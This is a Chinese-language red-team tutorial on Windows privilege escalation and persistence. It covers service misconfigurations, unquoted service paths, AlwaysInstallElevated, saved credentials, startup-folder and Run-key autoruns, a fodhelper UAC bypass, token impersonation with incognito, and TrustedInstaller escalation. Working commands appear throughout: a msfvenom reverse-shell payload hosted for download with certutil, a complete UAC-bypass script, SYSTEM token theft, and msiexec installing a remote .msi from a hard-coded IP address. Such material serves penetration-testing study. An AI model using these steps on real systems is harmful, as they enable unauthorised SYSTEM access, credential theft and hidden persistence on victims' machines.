红队专题-Perm权限提升与维持隐匿Privilege Escalation

在这里插入图片描述

权限提升与维持隐匿

渗透测试——权限维持 系统管理员hash&密码

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

高权限不仅能对更多文件进行增删改查的操作,方便进一步收集主机系统中的敏感信息,
system权限也可以提取内存中的密码Hash,为进一步的渗透提供更多信息。

权限提升是从初始访问权限(通常是标准用户或应用程序帐户)一直提升到administrator, root甚至SYSTEM访问权限的艺术。

常见技术或攻击手段来获得高权限帐户访问权限。

用于检测和利用不同权限提升技术的手动方法,但会提到可以完成相同工作并节省您一些时间的自动化工具。

Windows系统 权限提升

服务(不安全的服务权限或BINPATH)



Windows服务是一种在后台运行的计算机程序,它在概念上类似于 Unix 守护进程。


Windows 中的每个服务都将其可执行文件的路径存储在名为“BINARY_PATH_NAME”的变量中。
当我们启动服务时,它将检查此变量并执行其下设置的 .exe。


利用不安全服务权限或 BINPATH来提权很简单。

前提条件:必须在服务上启用第 3 点权限之一,并且当前用户有权启动或停止服务,否则我们必须等待系统重新启动才能执行有效负载。

1. 检查目标系统中的所有服务。
2. 枚举服务设置的权限。
3. 检查SERVICE_ALL_ACCESS或SERVICE_CHANGE_CONFIG已启用。
(这些权限允许用户修改服务配置和 binpath)
4. 检查该服务是否以更高权限运行。
5. 修改服务的 BINARY_PATH_NAME (binpath)。
6. 刷新或启动服务并获得更高权限的shell。


为了查找此错误配置,我使用PowerUp脚本枚举计算机 binpath 中的服务,返回当前用户可以写入binpath或其配置的服务。



https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

powershell -ep bypass
.\powerup.ps
Get-ModifiableServiceFile


找到了一个名为“daclsvc”的服务。
我们人工检查一下,确认这个服务确实具有SERVICE_ALL_ACCESS或SERVICE_CHANGE_CONFIG权限,因为有时自动化工具可能会误报。
我们还有权启动(service_start)和停止该服务。

有权更改服务“daclsvc”的 binpath。现在,让我们检查一下该服务是以什么权限运行。注意:大多数情况下,Windows以SYSTEM或administrator权限运行所有服务。


在这里插入图片描述在这里插入图片描述


它以LocalSystem权限运行。那么现在让我们利用这个错误配置,我们可以使用 sc 或服务控件(默认安装)来更改该服务的 binpath。

将其设置为反向 shell 有效负载。让我们再次使用 sc 查询,来检查我们的新路径配置是否正确。

在这里插入图片描述在这里插入图片描述
完美,它指向我们的有效负载。
使用net(也是默认安装的)启动此服务以获得我们的SYSTEM权限shell。

在这里插入图片描述

服务(不安全的服务可执行文件)


理论

可执行文件是包含可由操作系统执行的编码指令的文件。可执行文件可以是特定于平台的,也可以是跨平台的。

利用不安全服务可执行文件进行提权的方法很简单。
前提条件:服务的 .exe(二进制)权限可写或启用“FILE_ALL_ACCESS”权限,并且还有启动或停止服务的权限。


1. 枚举所有服务,检查其原始.exe(二进制)是否可写。
2. 使用有效负载 .exe 二进制文件修改或更改原始二进制文件。
3.刷新或启动服务,该服务将执行其.exe并以系统权限运行其上写入的任何内容。


实践


在这里,我使用winPEAS枚举所有可执行权限被破坏或配置错误的服务。

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe

在这个 winpeas 的报告中,我们可以看到“filepermsvc”服务的原始 .exe 为每个人设置了AllAccess权限。
简单来说就是系统上的所有用户都可以对此文件执行任何操作(r,w,x)。但我们再次使用“accesschk”工具来确认这一点。

在这里插入图片描述在这里插入图片描述


已确认为所有人设置了“FILE_ALL_ACCESS”。现在让我们简单地修改脚本来利用这个错误配置,或者在这里用我的有效负载覆盖原始的 .exe。

只需启动服务即可获得SYSTEM权限的shell,服务以“localSystem”权限运行,而且我们也有权启动和停止该服务。

参考及来源:

https://infosecwriteups.com/privileges-escalation-techniques-basic-to-advanced-for-windows-d0f0c04d6d04

在这里插入图片描述在这里插入图片描述

注册表(AlwaysElevatedPrivileges (.msi))


理论


.msi文件专为 Windows 操作系统上的软件安装而设计。
它包含以标准化方式安装软件应用程序所需的信息和文件,并由 Windows Installer 服务管理。



“Always Elevated Privileges”漏洞出现在默认以管理权限运行的 Windows Installer 程序包 (.msi) 中。
这意味着执行 .msi 包的任何用户或应用程序都会自动被授予管理权限,无需任何进一步的用户输入或身份验证。



利用AlwaysElevatedPrivileges进行提权的方法很简单;前提条件:将下面给出的两个注册表项值设置为 TRUE。
 
1. 检查注册表项是否允许当前用户下载.msi

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # 必须设置为 1 (0x1) 表示启用
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # 也必须设置为 1 (0x1) 表示启用
2. 创建 .msi 有效负载并将其发送给目标。执行该 .msi ,其中的任何内容都将以管理员/系统权限执行。

实践


让我们检查一下这两个注册表项的值,该值允许我们通过管理员权限安装 .msi。

两者均设置为 TRUE ,表示已启用。目标容易受到“AlwaysElevatedPrivileges”漏洞或更多技术性错误配置的影响。现在是时候创建恶意的 .msi 有效负载了。

在这里插入图片描述
在这里插入图片描述
将此有效负载托管在 HTTP、SMB 服务器或任何适合您的技术上,
并在目标端使用 certutil、PowerShell 或 SMB 从攻击者的服务器下载 .msi 。
现在运行 .msi 来触发我们的反向 shell。

在这里插入图片描述

服务(不带引号的服务路径)


理论

Windows服务是一种在后台运行的计算机程序,它在概念上类似于 Unix 守护进程。

Windows 中的每个服务都将其可执行文件的路径存储在名为“BINARY_PATH_NAME”的变量中。当我们启动服务时,它将检查此变量并执行其下设置的 .exe。


注意:这与我们在不安全服务权限或 BINPATH 权限提升技术中谈论的内容相同,
但是 binpath 变量是可写的,因此我们劫持它。
但这种技术完全不同,在服务的 BINPATH 受到保护/不允许操作的情况下很有用。


“未加引号的服务路径”漏洞发生在使用包含空格但未包含引号的binpath 安装的 Windows 服务中。


当 Windows 启动服务时,它会在服务配置中指定的路径中查找可执行文件。如果服务路径不包含引号且其中包含空格,Windows 将尝试将路径的第一个单词作为可执行文件执行,并使用其余单词作为命令行参数。

例如,对于服务的路径 C:\Program Files\Script dir\service.exe,Windows 将尝试执行以下所有可能的操作:


C:\Program.exe
C:\Program Files\Script.exe 
(此处 \Program Files 目录是可写的,因此攻击者可以使用服务的扩展名创建有效负载,以便在遍历期间由操作系统执行)
C:\Program Files\Script dir\service.exe

不带引号的服务路径方法很简单。
前提条件:服务的路径必须不包含引号且包含空格。另一件事是,与原始二进制目录相比,我们在更高优先级的目录中具有可写权限。



1. 枚举所有服务,检查是否有服务的 BinPath 未加引号且包含空格或其他分隔符。

2. 然后在列出的未加引号的二进制路径中找到至少一个可写目录,并且与原始目录相比,该目录的优先级必须更高。

3. 使用 sc 查询服务,检查该服务是否以(系统/管理员)权限运行。

4. 在该可写目录中创建有效负载

5. 刷新或启动服务以使用系统权限执行.exe。


wmic service get name,displayname,pathname,startmode | findstr /i /v  "C:\\Windows\\system32\\"  |findstr /i /v """

最后一个服务的路径有空格且未在引号中公开。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

我们现在确认目标存在漏洞,
但让我们检查一下成功利用此漏洞的第二个条件

即与原始服务的路径相比,具有更高优先级的可写路径。
因此,首先检查目录。
看起来我们没有权限在此目录上写入,好的,让我们转到第二个目录。
在这里插入图片描述

所以我们在不带引号的路径服务目录中拥有完全访问(rwx)权限,
现在我们知道可以创建有效负载的位置并且它的优先级也更高。

在这里插入图片描述

将我们的有效负载复制到可写目录并将其名称更改为 Common.exe
(因为操作系统将在遍历期间执行此目录)。

现在只需使用 net start <service-name> 启动此服务,我们将获得目标的 SYSTEM 权限 shell。

在这里插入图片描述


如果您仍然不明白这一点(实践),那么让我给您一个整个场景的简单分解。



我们发现的漏洞目录是C:\Program Files\Unquoted Path Service\Common Files\UnquotedPathService.exe,
因为它的BinPath有空格但没有用引号括起来,所以导致了这个漏洞的诞生。



因此,正常情况下,每当此服务启动时,Windows 操作系统都会通过以下方式读取此易受攻击的 BinPath。


C:\Program.exe(未找到程序)
C:\Program Files\Unquoted.exe(找不到程序)
C:\Program Files\Unquoted Path.exe(未找到程序)
C:\Program Files\Unquoted Path Service\Common.exe(找不到程序)
C:\Program Files\Unquoted Path Service\Common Files\UnquotedPathService.exe(找到程序)
所以你会看到它正在执行找到空格的每个点,并在其末尾添加 .exe 扩展名。如果没有找到可执行文件,那么它将进一步遍历,直到在 BinPath 末尾找到正确的可执行文件。



现在,对于攻击者的 POV,他所要做的就是在原始服务路径之间找到一条可写路径。



如果他这样做了,他就可以创建具有相同名称和扩展名的 payload,Windows 将遍历该 payload 来查找二进制文件,以便他能够执行他的 payload 。



在此示例中,我们发现“/Unquoted Path Service”目录可写,因此我们创建 Common.exe,因为 Windows 会找到它并执行它。



服务(弱注册表权限)


理论


注册表是一个数据库,用于存储操作系统以及已安装的应用程序和服务的设置和配置信息。注册表是 Windows 操作系统的关键组件。



攻击者可以利用 Windows 服务上的弱注册表权限,通过修改服务的配置,设置以提升的权限运行,从而将其权限提升到管理员级别。



“ImagePath”是一个注册表值,指定 Windows 服务的可执行文件的位置。ImagePath 值包含运行服务的可执行文件的完整路径和文件名,以及服务所需的任何命令行参数或选项。



在 Windows 中,服务具有注册表项,这些项位于:



HKLM\SYSTEM\CurrentControlSet\Services\<service_name>
    
弱注册表权限方法很简单;前提条件:必须有一个具有 SYSTEM/ADMIN 权限的服务正在运行,并且其注册表项权限是可写的。



1. 枚举所有服务以检查其注册表项是否可写。

2.修改服务的“ImagePath” (包含应用程序二进制文件的路径)

3.刷新或启动服务,该服务将使用系统权限执行其 ImagePath 中的任何内容。



实践



让我们枚举目标系统来查找此漏洞。
让我们检查一下该服务的注册表项权限。

在这里插入图片描述

在这里插入图片描述

 NT AUTHORITY\INTERACTIVE(这是一个组,基本上意味着系统上的所有登录用户)


很好,已确认目标存在漏洞,因为“regsvc”服务的注册表项的权限设置为KEY_ALL_ACCESS,该权限授予用户或组对注册表项的完全访问权限,包括查看、修改和删除其值和子项的能力。



好的,我们来修改这个服务“regsvc”的键值“ImagePath”

更改注册表项值后,只需启动或重新启动服务即可以系统/管理员权限执行我们的payload。


自动化脚本:



利用/windows/local/always_install_elevated :这个Metasploit 脚本自动枚举和利用“AlwaysInstallElevated”漏洞。



利用/windows/local/service_permissions:检查现有服务以查找可能被劫持的不安全配置、文件或注册表权限。然后它将尝试重新启动替换的服务以运行 payload。



PowerUp.ps1:这个PowerShell脚本列举了本地权限升级漏洞/错误配置的所有可能路径,甚至还有一个漏洞利用脚本。



https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

在这里插入图片描述
在这里插入图片描述

Saved Credits 保存凭据

理论



当您登录资源并选择保存凭据时,Windows 将它们安全地存储在凭据管理器中。
这是 Windows 操作系统的一个组件,用于管理凭据并允许用户查看、编辑和删除已保存的凭据。



保存凭据是一项功能,允许用户安全地存储各种资源(例如网站、网络共享或远程服务器)的登录信息,
这样他们就不必在每次访问这些资源时输入用户名和密码。



利用Saved Credits方法来提权很简单;前提条件:必须保存一个高权限帐户的凭据。



1. 在目标系统中运行“cmdkey /list”命令,或WIN+R -> control keymgr.dll,列出凭据管理器中保存的所有凭据。

2. 如果我们找到任何更高权限的帐户,那么我们可以使用这些凭据执行具有该权限的命令。



实践


首先,让我们将保存在凭据管理器中所有凭据列举出来,我是通过命令完成的,我们也可以从 GUI 执行相同的过程。

在这里插入图片描述

好的,我们找到了 2 个凭据。让我们解释一下这些凭据的格式。
注意:第一个凭据默认存在于 Windows 操作系统中,因此我不打算定义其格式。



第二个凭据的格式

Target:此条目与 Windows 域环境中的目标关联。
目标是“Domain:interactive”,似乎链接到“WIN-QBA94KB3IOF”域,在交互式会话的上下文中使用用户帐户“admin”。


Type:凭据类型为“域密码”,表明这些凭据特定于在 Windows 域环境中使用域控制器进行身份验证。
User:此凭据条目的关联用户名是“WIN-QBA94KB3IOF\admin”,表示它是具有管理权限的域用户帐户。
我们得到的帐户不仅是基本帐户,而且是具有“域管理员权限”的帐户。它为攻击提供了很多可能性。
我们可以使用它们在目标的域网络中执行任何操作,但这里只是为了进行PoC验证,让我们运行反向 shell 代码来获取具有“域管理员”权限的目标 shell。


runas /svecred /user:admin  C:\Users\Administrator\Desktop 

这个命令是在 Windows 操作系统中以 "admin" 用户的身份运行 "C:\Users\Administrator\Desktop\admin.exe" 可执行程序。

具体来说,"/svecred" 参数将凭据保存在 Credential Manager 中,以便下次使用时不再需要输入密码。"/user:admin" 参数指定了要使用 "admin" 用户的权限来运行该程序,而 "C:\Users\Administrator\Desktop\admin.exe" 是要运行的可执行程序路径和名称。


runas:用于以不同用户的权限运行命令。(就像sudo一样)



在这里插入图片描述
在这里插入图片描述

自启动应用程序


理论


自启动应用程序可以定义为在计算机启动时自动启动的应用程序。这些应用程序设计为在您登录用户帐户时在后台运行。常见自启动应用程序的一些示例包括防病毒软件、即时通讯客户端、云存储服务、Windows 更新和系统实用程序。



利用自启动的方法来提权很简单;前提条件:自启动应用程序目录的权限必须被破坏,或者自启动应用程序中的二进制文件的权限被破坏。



1.枚举所有自启动应用程序。我们有两种类型的自启动应用程序目录。



用户自启动应用程序目录



"C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\开始菜单\程序\启动"


注意:每个用户都有自己的自启动应用程序目录,该目录以其权限运行并且每个用户将仅运行其自启动应用程序目录中可用的任何内容。



系统自启动应用程序目录



"C:\ProgramData\Microsoft\Windows\开始菜单\程序\启动"
注意:系统层面的自启动应用程序的目录,它的工作原理与前一个相同,但它适用于所有用户,因此每当任何用户登录时它都会触发。另外,因为它应用于整个系统,所以它以“SYSTEM”权限运行,因此这里的每个二进制文件都以“SYSTEM”权限运行。



2.检查您是否具有覆盖某些自启动应用程序的二进制文件的写入权限,或者检查存储自启动应用程序的目录中是否启用了“FILE_ALL_ACCESS”权限。

3.修改原始程序的二进制文件(有效负载.exe名称必须与原始.exe相同),或在自启动应用程序目录中创建有效负载

4.等待用户登录活动触发您的有效负载以获得该特定用户的权限(用于用户自启动应用程序)或获得SYSTEM 权限(用于系统自启动应用程序目录)


实践


检查整个系统中所有的自启动应用程序目录。

autorunsc.exe -m -nobanner -a * -ct /accepteula
sysinternals 工具,用于枚举启动和自动运行应用程序所在的所有路径。我们发现“系统自启动应用程序目录”上设置了损坏的权限。




在这里插入图片描述

 
所有内置/用户组成员在此目录上都具有“FULL_ACCESS”



BUILTIN\Users(Windows 中的默认组,向本地用户授予基本访问权限(允许执行基本任务和访问公共资源),同时确保他们没有系统的完全管理权限。在系统上创建的任何本地用户帐户都会自动该组的成员。



因此,让我们通过 msfvenom 创建一个反向 shell 并将其放入系统自启动应用程序目录中。



msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击者 IP> LPORT=<攻击者端口> -f exe -o rev-shell.exe
让我们通过 Python HTTP 服务器托管它



python3 -m http.server <攻击者端口> -b <攻击者IP> -d ~/Downloads

在这里插入图片描述


在目标处,客户端使用 certutil 工具下载此有效负载并将其放入“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”目录中。



现在您可以执行以下操作来触发有效负载。



1.等待系统重新启动或重新启动(通常,我们在真实渗透测试/红队模拟中执行此操作,但这需要时间)

2.等待用户的登录活动登录(从会话中注销用户并等待他的登录活动。不会花费时间,但有时会令人生疑)。

3.自己动手(如果知道任何用户或特定用户的密码,则自行执行注销和登录技术)。



在这里,我们执行第三种方法来加快过程并进行学习模拟。



从锁定屏幕再次登录任何帐户。



“在 Windows 中注销是指结束用户会话并返回到 Windows 登录屏幕的过程。当您注销时,所有打开的文件、程序和进程都将关闭,
系统返回到登录屏幕,其他用户可以在其中登录,或者当前用户可以重新登录。”

在这里插入图片描述
正如您所看到的,当我们再次登录时,系统将运行自启动应用程序文件夹中设置的所有程序,
5-15 秒后,我们将获得“SYSTEM”权限。

在这里插入图片描述

一、当前用户专有的启动文件夹

这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的,用户启动文件夹一般在:
C:\Documents and Settings\<用户名字>\「开始」菜单\程序\启动
C:\Users\<用户名字>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs


二、对所有用户有效的启动文件夹

这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,
放入该文件夹的程序总是自动启动,这是它与用户专有的启动文件夹的区别所在,该文件夹一般在:

C:\Documents and Settings\All Users\「开始」菜单\程序\启动


三、Load注册键

介绍该注册键的资料不多,实际上它也能够自动启动程序,位置:
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load


四、Userinit注册键

这里也能够使系统启动时自动初始化程序,通常该注册键下面有一个userinit.exe,
但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号),位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit


五、Explorer\Run注册键

和load、Userinit不同,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有,具体位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run


六、RunServicesOnce注册键

RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,RunServicesOnce注册键的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce


七、RunServices注册键

RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前,RunServices的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices


八、RunOnce\Setup注册键

RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup


九、RunOnce注册键

安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE下面的RunOnce键,会在用户登录之后立即运行程序,运行时在其他Run键指定的程序之前。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce


HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx


十、Run注册键

Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前,位置在:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Powershell 历史


理论


在 PowerShell 中,多个实用程序监视或记录运行的所有 PS 命令,他们之中有一些是:



1.命令历史记录:PowerShell 命令历史记录,它是您在当前会话期间执行过的命令的列表。此历史记录允许您查看和访问以前执行的命令,而无需重新输入它们。

2.转录日志:允许您将 PowerShell 会话的所有输入和输出记录到文件中。转录日志不仅捕获您执行的命令,还捕获这些命令的结果以及会话期间生成的任何输出或错误。

3.PSReadLine负责提供增强的命令行编辑和历史记录功能,包括语法突出显示、多行编辑和改进的命令历史记录导航等功能。ConsoleHost_history.txt:由其管理的简单文本文件,存储当前用户的 PowerShell 会话的命令历史记录。



利用Powershell历史记录提权很简单;检查所有 PS 历史文件以查找有用信息,例如凭据和其他配置信息。



Get-history:仅显示当前 PS 会话中运行的所有命令,并且它是非持久性的(意味着仅在 PS 会话期间保持持久性)
dir /s “PowerShell_transcript_logs”:列出在任何PS会话中运行的所有PS命令(它保存所有过去的PS会话数据)。
dir /s “ConsoleHost_history.txt”:显示在任何会话中运行的所有命令(从 C:\ 运行),但它将所有 PS 会话中的所有命令保存在一个文件中并且仅保存命令。


实践


检查所有 PS 历史日志文件。当前没有 PS 会话在目标系统中运行,因此“get-history”在这里毫无用处,转录日志服务也没有运行,所以让我们看看是否有“ConsoleHost_history.txt”。


我们确实找到了,所以让我们检查一下,看看我们是否可以获得任何有用的信息。

看起来用户使用了“cmdkey”命令并在其中传递了他的密码。我们可以在“runas”中使用这些凭据来生成进程或启动具有这些用户权限的程序。



参考及来源:

https://infosecwriteups.com/privileges-escalation-techniques-basic-to-advanced-for-windows-5f1d4e8d8c01

在这里插入图片描述
在这里插入图片描述

administrator->system

注册表劫持BypassUAC提权

在触发UAC时,操作系统会创建一个名为consent.exe的进程,
该进程通过白名单和用户选择来确定是否提升权限。

请求进程将要提升权限的进程的commandline和程序路径通过LPC(Local Procedure Call)接口传递给appinfo的RAiluanchAdminProcess函数,

该函数首先会验证传入程序是否在白名单内同时判断是否弹出UAC窗口,这个UAC框会创建新的安全桌面,屏蔽之前的界面。



同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。
用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。 



通常通过UAC的权限提升需要由用户确认,在不被用户发现的情况下静默的将程序的普通权限提升为管理员权限,
从而使程序可以实现一些需要权限的操作被称之为BypassUac。




有一些系统程序是会直接获取管理员权限同时不触发UAC弹窗的,这类程序被称为白名单程序,
如fodhelper.exe、ComputerDefaults.exe。





这些程序拥有一个manifest文件,该文件本质上是一个XML文件,用于标识该程序的配置属性。
如果程序manifest文件中的配置属性autoElevate为True,并且该程序还具有微软签名,
那么这个程序将具有一定的特权,可以绕过UAC提示框直接以管理员权限运行。

以fodhelper.exe程序为例子
可以使用自带的sigcheck.exe查看fodhelper.exe程序的manifest标识文件:


sigcheck.exe -m C:\Windows\System32\fodhelper.exe

在这里插入图片描述
没有UAC弹窗

在注册表创建:HKCU:\Software\Classes\ms-settings\Shell\Open\command
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建DelegateExecute键,值为空
在注册表HKCU:\Software\Classes\ms-settings\Shell\Open\command下创建Default键,值为要执行的命令
当执行fodhelper.exe程序时,如果注册表中存在HKCU:\Software\Classes\ms-settings\Shell\Open\command键值对,fodhelper.exe会查找HKCU:\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute,若也存在,则会寻找该注册表下的Default,执行该键下对应的命令 
基于此原理,在poweshell下,依次执行以下代码,即可绕过UAC获得system权限。




[String]$program = "cmd /c start powershell.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

在这里插入图片描述

同理,在cmd窗口下,依次执行以下命令,即可获取system权限。

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
fodhelper.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f

在这里插入图片描述
用其他白名单程序,只需要把运行的程序换成对应的白名单程序即可


reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c start cmd.exe"
ComputerDefaults.exe
reg delete HKEY_CURRENT_USER\Software\Classes\ms-settings\ /f

利用token复制提权



访问令牌是windows用于确定指定进程或线程安全上下文的一种对象 
当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌,
比如,有些需要用管理员令牌的资源,用普通用户的令牌肯定是访问不到了



令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。
它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,windows有两种类型的Token:

Delegation token(授权令牌):用于交互会话登录,例如本地用户直接登录、远程桌面登录
Impersonation token(模拟令牌):用户非交互登录,利用net user访问共享文件夹

上面的这两种令牌,都会在系统重启以后被清除,否则将会一直驻留在内存中,
而授权令牌则会在用户注销以后自动被转为模拟令牌,但仍然可利用

当前用户只能看到当前用户自己和比自己权限低的所有访问令牌

metasploit中的incognito

在metasploit中,可使用incognito实现token窃取,通过token窃取实现权限的切换

加载incognito

load incognito


列举token

list_tokens -u


查看当前token

getuid


返回之前的token

rev2self
drop_token

system token窃取

impersonate_token "NT AUTHORITY\SYSTEM"

在这里插入图片描述
Windows平台下的incognito



incognito.exe list_tokens -u   # 列举token
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe   # 窃取system token,提权到system
 
incognito.exe execute -c "当前用户token" cmd.exe   # 降权到当前用户
incognito.exe execute -c "WIN-LI6N3TD1TT6\Administrator" cmd.exe

在这里插入图片描述
提升到TrustedInstaller权限
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件

因为Windows系统的最高权限为TrustedInstaller,例如路径C:\Windows\servicing,
使用system权限无法在该路径创建文件 

启动TrustedInstaller服务会启动进程TrustedInstaller.exe,
位置为C:\Windows\servicing\TrustedInstaller.exe,
查看该程序权限为:NT SERVICE\TrustedInstaller

Get-Acl -Path .\TrustedInstaller.exe |select Owner

在这里插入图片描述
powershell默认不支持Set-NtTokenPrivilege命令,该模块需要下载安装

下载地址:https://www.powershellgallery.com/packages/NtObjectManager/1.1.1

powershell下载安装NtObjectManager模块



在系统 C 盘根目录新建名为 “token” 的文件夹,以管理员身份运行Powershell,然后输入以下命令,回车(如果是第一次安装会出现询问,输入"Y"并回车)

Save-Module -Name NtObjectManager -Path c:\token


下载完成后,输入以下命令正式安装

Install-Module -Name NtObjectManager


稍等片刻,等待安装结束。结束后,导入NtObjectManager模块前,输入以下命令让系统允许使用 Powershell 脚本

Set-ExecutionPolicy Unrestricted


导入模块NtObjectManager

Import-Module NtObjectManager


在powershell中依次输入以下命令获取TrustedInstaller权限

sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p


如下图所示,执行成功后会弹出新的system权限的cmd,
使用whoami查看当前cmd权限。发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限

whoami /groups /fo list

在这里插入图片描述

利用MSIExec获得System权限

msiexec介绍

msiexec:系统进程,是windows Installer的一部分,
用于安装widnows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。



系统自带,在命令行下使用,常用命令如下:

msiexec /i F:\安装包\Quicker.x64.1.34.15.0.msi /qb /l*v test.log
/i:安装
F:\安装包\Quicker.x64.1.34.15.0.msi:MSI安装包的全路径
/qb:安静安装(不需要用户点下一步)
/l*v:输出安装日志到test.log文件
 
 
# 卸载
msiexec /x {GUID} /q
每个程序安装后,都会有一个GUID号,这个GUID号可以从Assembly.cs中找到。
/x 用于卸载一个程序。/q表示完全安静地安装。
 
msiexec /x ***.msi /q
也可以通过MSI文件来卸载。其效果和通过GUID号来卸载是一样的。

执行执行msiexec会出现命令参数的详细说明
在这里插入图片描述
msi文件制作

可以使用metasploit制作.msi文件,也可以使用Advanced Installer工具。

msfvenom -f msi -p windows/exec CMD=cmd.exe>test.msi

在win10中执行以下命令运行,即可获取system权限

msiexec /q /i test.msi

在这里插入图片描述
win10执行的时候如果不加/q参数,就会出现以下弹窗
在这里插入图片描述
在这里插入图片描述
执行后会在%TEMP%目录下生成MSI的log文件
在这里插入图片描述
远程下载执行.msi文件



可以把生成的cmd.msi上传到服务器,远程执行msi获取system权限

msfvenom -f msi -p windows/exec CMD=cmd.exe>cmd.msi 
 
# 远程执行
msiexec /i http://43.138.71.244/cmd.msi /q

在这里插入图片描述

参考文章

https://mp.weixin.qq.com/s/gMKfahIBuVuMiMogP3vt_g
https://idiotc4t.com/privilege-escalation/bypassuac-fodhelper

服务提权

本地注册一些服务,大多数服务会在开机时以system权限启动,注册服务时,会在以下路径创建注册表项。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
例如gupdate服务的ImagePate键指向该服务所启动的二进制程序。

在这里插入图片描述
让系统服务启动时执行其他程序,该程序就会随着服务的启动获得系统权限。

不安全的服务权限

ACL定义了安全对象的访问控制权限
windows系统服务就是通过ACL来指定用户对其拥有的权限,常见权限如下:

在这里插入图片描述

在配置不当时,低权限用户对高权限用户运行的服务有更改服务配置的权限,就可以通过低权限用户直接修改服务启动时的二进制文件路径。

AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。

使用命令如下:

accesschk64.exe /accepteula -uwcqv "INTERACTIVE" *
# 查询INTERACTIVE组可修改配置的服务

accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
